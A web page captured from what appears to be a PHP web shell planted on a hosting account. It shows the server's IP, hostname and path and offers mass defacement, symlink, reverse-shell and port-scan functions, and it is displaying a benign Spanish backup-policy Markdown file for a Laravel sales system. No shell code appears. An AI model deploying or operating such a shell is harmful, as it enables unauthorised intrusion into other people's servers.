Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
Viewing: RECOMENDACION_BACKUPS.md
# 🔄 RECOMENDACIÓN: Nueva Política de Backups ## 📊 Situación Actual Los backups antiguos (septiembre 2025) tienen una estructura de base de datos diferente a la actual, causando **pérdida de datos** al restaurar. ### Ejemplos de Incompatibilidades: - **empresas**: Backup tiene 22 columnas, BD actual tiene 24 - **ventas**: Backup tiene 31 columnas, BD actual tiene 33 ## ✅ Solución Recomendada ### Paso 1: Crear Backup Base Nuevo ```bash # Desde la interfaz web o por consola php artisan backup:database ``` Este será tu **backup de referencia** con la estructura actual completa. ### Paso 2: Archivar Backups Antiguos ```bash # Mover backups anteriores a carpeta de archivo mkdir storage/app/backups/archivo_historico move storage/app/backups/2025-09-*.zip storage/app/backups/archivo_historico/ ``` ### Paso 3: Política de Backups Nueva De ahora en adelante: 1. **Backups Automáticos**: Diarios o semanales desde el sistema actual 2. **Compatibilidad Garantizada**: Todos los backups tendrán la misma estructura 3. **Backup Antes de Cambios**: Siempre hacer backup antes de: - Agregar nuevas columnas - Modificar estructura de tablas - Actualizar el sistema ## 🔧 Si Necesitas Restaurar un Backup Antiguo ### Opción A: Restauración Manual Selectiva 1. Extraer el backup antiguo 2. Restaurar **solo las tablas críticas**: - `productos` - `clientes` - `proveedores` - `categorias` - `marcas` 3. **NO restaurar** tablas con cambios de estructura: - `empresas` (reconfigurar manualmente) - `ventas` (pueden tener problemas) ### Opción B: Script de Migración (Complejo) ```bash # Requiere desarrollo personalizado php artisan backup:migrate-old 2025-09-30_19-06-56_backup.zip ``` ## 📅 Línea de Tiempo Recomendada ### Hoy (13 Nov 2025): - ✅ Crear backup completo de la BD actual - ✅ Verificar que la empresa está configurada correctamente - ✅ Verificar credenciales de Alegra - ✅ Hacer backup de este estado "limpio" ### Próximos 7 días: - ✅ Probar proceso de backup y restauración - ✅ Verificar que los datos se restauran correctamente - ✅ Establecer rutina de backups automáticos ### Mensualmente: - ✅ Verificar integridad de backups - ✅ Probar restauración en ambiente de prueba - ✅ Mantener mínimo 3 backups recientes ## ⚠️ Importante **Los backups de septiembre 2025 NO son totalmente compatibles** con la versión actual del sistema debido a cambios en la estructura de la base de datos. Si necesitas datos específicos de esos backups: 1. Extrae el archivo .sql del .zip 2. Busca los datos manualmente 3. Insértalos de forma manual o selectiva ## 🎯 Beneficios del Nuevo Sistema ✅ **Sin pérdida de datos**: Todos los backups son compatibles ✅ **Restauración confiable**: 100% de los registros se restauran ✅ **Tranquilidad**: Sabes que tus backups funcionan ✅ **Escalabilidad**: Sistema preparado para crecimiento ## 📞 ¿Preguntas? - ¿Necesitas recuperar datos específicos de backups antiguos? - ¿Quieres un script para migrar backups antiguos? - ¿Necesitas ayuda configurando backups automáticos? --- **Fecha de creación**: 2025-11-12 **Versión del sistema**: Actual (con columnas nuevas) **Estado**: ✅ IMPLEMENTADO
Coded With 💗 by
0x6ick